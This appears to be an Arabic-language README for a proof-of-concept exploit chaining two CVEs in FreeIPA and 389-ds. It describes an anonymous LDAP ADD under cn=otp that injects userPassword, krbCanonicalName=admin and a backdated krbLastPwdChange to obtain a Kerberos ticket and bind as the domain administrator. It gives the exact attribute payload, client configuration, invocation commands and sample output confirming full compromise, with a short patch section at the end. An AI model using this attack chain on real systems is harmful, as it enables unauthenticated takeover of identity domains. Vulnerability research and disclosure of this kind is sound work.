
إثبات مفهوم استغلال لـ CVE-2026-76578 و CVE-2026-76560، عبر تسلسل LDAP ADD مجهول مع تجاوز SELFDN في 389-ds للحصول على صلاحيات مدير نطاق FreeIPA.
المنتج: FreeIPA 4.9.x – 4.13.3
الخطورة: حرجة (CVSS 9.8)
تم الإصلاح: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)
تم تطوير هذا الإثبات المفهومي وتنفيذه حصريًا داخل بيئة مختبرية معزولة ومملوكة بشكل خاص لغرض البحث الأمني المصرّح به والتحقق من الثغرات.
قبل استخدام هذا السكربت:
لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام. يُقدَّم هذا الكود للبحث الدفاعي واختبار الاختراق المصرّح به فقط.
ملاحظة حول قابلية النقل: تم التحقق من صحة هذا السكربت مقابل إصدارات الحزم المحددة المذكورة في قسم بيئة الاختبار أدناه. قد يختلف السلوك على إصدارات أنظمة تشغيل أخرى، أو مستويات تصحيح مختلفة، أو إعدادات FreeIPA غير الافتراضية. تحقق دائمًا من النتائج بشكل مستقل في بيئة خاضعة للرقابة قبل استخلاص استنتاجات حول هدف إنتاجي.
| المعامل | القيمة |
|---|---|
| نظام التشغيل | Fedora 44 (x86_64) |
| FreeIPA | freeipa-server-4.13.1-9.fc44 |
| 389-ds-base | 389-ds-base-3.2.0-15.fc44 |
| MIT Kerberos | krb5-libs-1.21.x |
| Realm | TEST.LOCAL |
| النطاق | test.local |
| عنوان IP للخادم | 192.168.1.11 |
| اسم المضيف | ipa-master.test.local |
| مضيف الهجوم | Kali Linux (خارجي، بدون عضوية في النطاق) |
يمكن لعميل LDAP غير مصادق عليه إضافة إدخال رمز OTP تحت cn=otp والحصول
على صلاحيات مسؤول نطاق FreeIPA الكاملة. يتحد عيبان معًا:
CVE-2026-76578 (FreeIPA) — لا يحتوي OTP ADD ACI على قيد targetattr،
لذا يمكن لـ ADD المجهول تضمين أي سمة: krbPrincipalAux، krbCanonicalName،
userPassword، krbLastPwdChange، إلخ.
CVE-2026-76560 (389-ds-base) — يعامل مُقيِّم SELFDN السلسلة "" (سلسلة
فارغة) على أنها تطابق DN الربط المجهول، متجاوزًا فحص الملكية
ipatokenOwner#SELFDN.
الرؤية الجوهرية — لا حاجة إلى blob ملتقط مسبقًا، ولا وصول إلى المفتاح الرئيسي:
إضافة objectClass: inetOrgPerson + userPassword إلى الإدخال تُفعِّل
إضافة 389-DS ipapwd التي تولِّد تلقائيًا krbPrincipalKey من جانب
الخادم، وتشفِّره باستخدام krbMKey الخاص بـ realm الهدف. يوفِّر المهاجم
كلمة مرور نصية صريحة؛ ويستخرج الخادم مفتاح Kerberos داخليًا.
تعيين krbLastPwdChange: 20200101000000Z (تاريخ ماضٍ) في نفس عملية ADD
يتجاوز سياسة krbMinPwdLife التي كانت ستتطلب تغيير كلمة مرور تفاعلي قبل
نجاح kinit.
| CVE | المكوّن | الوصف |
|---|---|---|
| CVE-2026-76578 | FreeIPA | OTP ACI يفتقر إلى targetattr — أي سمة تمر عبر ADD المجهول |
| CVE-2026-76560 | 389-ds-base | مُقيِّم SELFDN يقبل كـ DN ربط مجهول |
Anonymous LDAP ADD (port 389, zero credentials)
ipatokenOwner: "" ← CVE-2026-76560: SELFDN "" == anonymous DN
objectClass: inetOrgPerson ← enables userPassword attribute
userPassword: PwnedPass1! ← CVE-2026-76578: no targetattr restriction
krbCanonicalName: admin@REALM ← not in kerberos uniqueness plugin for cn=otp
krbLastPwdChange: 20200101 ← bypass krbMinPwdLife policy
↓
389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
↓
uid=admin ∈ cn=admins → full domain administrator
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit
/etc/hosts:
<target-ip> ipa-master.test.local
/etc/krb5.conf — canonicalize = true مطلوب للمستوى 3:
[libdefaults]
default_realm = TEST.LOCAL
canonicalize = true
forwardable = true
rdns = false
[realms]
TEST.LOCAL = {
kdc = ipa-master.test.local
}
[domain_realm]
.test.local = TEST.LOCAL
test.local = TEST.LOCAL
python3 poc.py <target_ip> <ipa_hostname> <REALM>
# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
[+] TGT obtained — LEVEL 1 CONFIRMED
Default principal: [email protected]
── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
[+] LEVEL 2 CONFIRMED
── TEST 3: krbCanonicalName=admin collision ──────────────────────────
[+] ADD with [email protected] succeeded
[+] TGT obtained — ticket claims principal: [email protected]
[+] TGT cname is admin — LEVEL 3 CONFIRMED
[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
[+] uid=admin is member of cn=admins — real admin rights confirmed
════════════════════════════════════════════════════════════
CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
Level 1 — Server-side krbPrincipalKey + TGT [✓] CONFIRMED
Level 2 — GSSAPI LDAP / Kerberos auth [✓] CONFIRMED
Level 3 — Real admin group membership [✓] CONFIRMED
Full zero-credential compromise chain reproduced.
No pre-captured blob required.
════════════════════════════════════════════════════════════
يُشفَّر krbPrincipalKey باستخدام krbMKey الخاص بالهدف (المفتاح الرئيسي).
يُخزَّن المفتاح الرئيسي في LDAP عند cn=REALM,cn=kerberos ولا يمكن قراءته
إلا بواسطة Directory Manager — ليس بشكل مجهول، وليس بواسطة uid=admin عبر
GSSAPI.
حقن krbPrincipalKey مباشرةً مستحيل بدون المفتاح الرئيسي. حقن userPassword
يُفوِّض توليد المفتاح إلى إضافة ipapwd الخاصة بالخادم، والتي لديها وصول
داخلي إلى krbMKey وتنفِّذ التشفير بشفافية. يسمح ACI (CVE-2026-76578)
بمرور userPassword دون أي فحص targetattr.
تفرض إضافة تفرد kerberos التفرد على krbPrincipalName وkrbPrincipalAlias
عبر اللاحقة الكاملة، ولكن ليس على krbCanonicalName. إدخال جديد في
cn=otp مع krbCanonicalName: admin@REALM لا يتعارض مع الـ principal
الحقيقي admin.
مع canonicalize = true على العميل، يسترجع kinit attacker@REALM الإدخال
بواسطة krbPrincipalName، لكن KDC يُصدر TGT مع
cname = krbCanonicalName = admin@REALM. يحل GSSAPI هذا إلى DN الحقيقي
uid=admin — وهو بالفعل عضو شرعي في cn=admins. لا يتم إجراء أي تعديل
على المجموعة.
عند إضافة userPassword، يضبط ipapwd قيمة krbPasswordExpiration على
الوقت الحالي (منتهية الصلاحية) وkrbLastPwdChange على الوقت الحالي. مع
القيمة الافتراضية krbMinPwdLife = 3600s، سيطلب kinit تغيير كلمة المرور
قبل إصدار TGT.
تعيين krbLastPwdChange: 20200101000000Z في عملية ADD الأصلية يتجاوز قيمة
الإضافة إلى ست سنوات في الماضي، مما يلبي فحص الحد الأدنى للعمر.
يمنع krbPasswordExpiration: 20990101000000Z مطالبة انتهاء الصلاحية. يتم
قبول كلتا السمتين لأن OTP ACI لا يحتوي على قيد targetattr.
لنشر نسخة FreeIPA معرّضة للثغرة على جهاز افتراضي جديد:
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]
# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123
dnf update freeipa-server # → 4.13.4
dnf update 389-ds-base # → 3.2.0-10.el10_2 (RHEL 10)
يضيف FreeIPA 4.13.4 قائمة سماح صريحة targetattr إلى OTP ACI، مما يمنع
الحقن المجهول لـ userPassword وkrbPrincipalAux وkrbPrincipalKey
وkrbCanonicalName.
يصحِّح 389-ds-base 3.2.0-10.el10_2 مُقيِّم SELFDN ليرفض "" كـ DN مطابق
لعمليات الربط المجهولة.
كلا الإصلاحين مطلوبان بشكل مستقل — أي منهما بمفرده يقلل من سطح الهجوم لكنه لا يزيله.
""| المكوّن | المعرّض للثغرة | المُصلَح |
|---|
| FreeIPA | 4.9.x – 4.13.3 | 4.13.4 |
| 389-ds-base (RHEL 10) | < 3.2.0-10.el10_2 | 3.2.0-10.el10_2 (RHSA-2026:64785) |
| 389-ds-base (RHEL 9) | < patched build | راجع الإشعار المقابل |
| 389-ds-base (Fedora 44) | 3.2.0-15.fc44 | غير مُصلَح وقت الاختبار |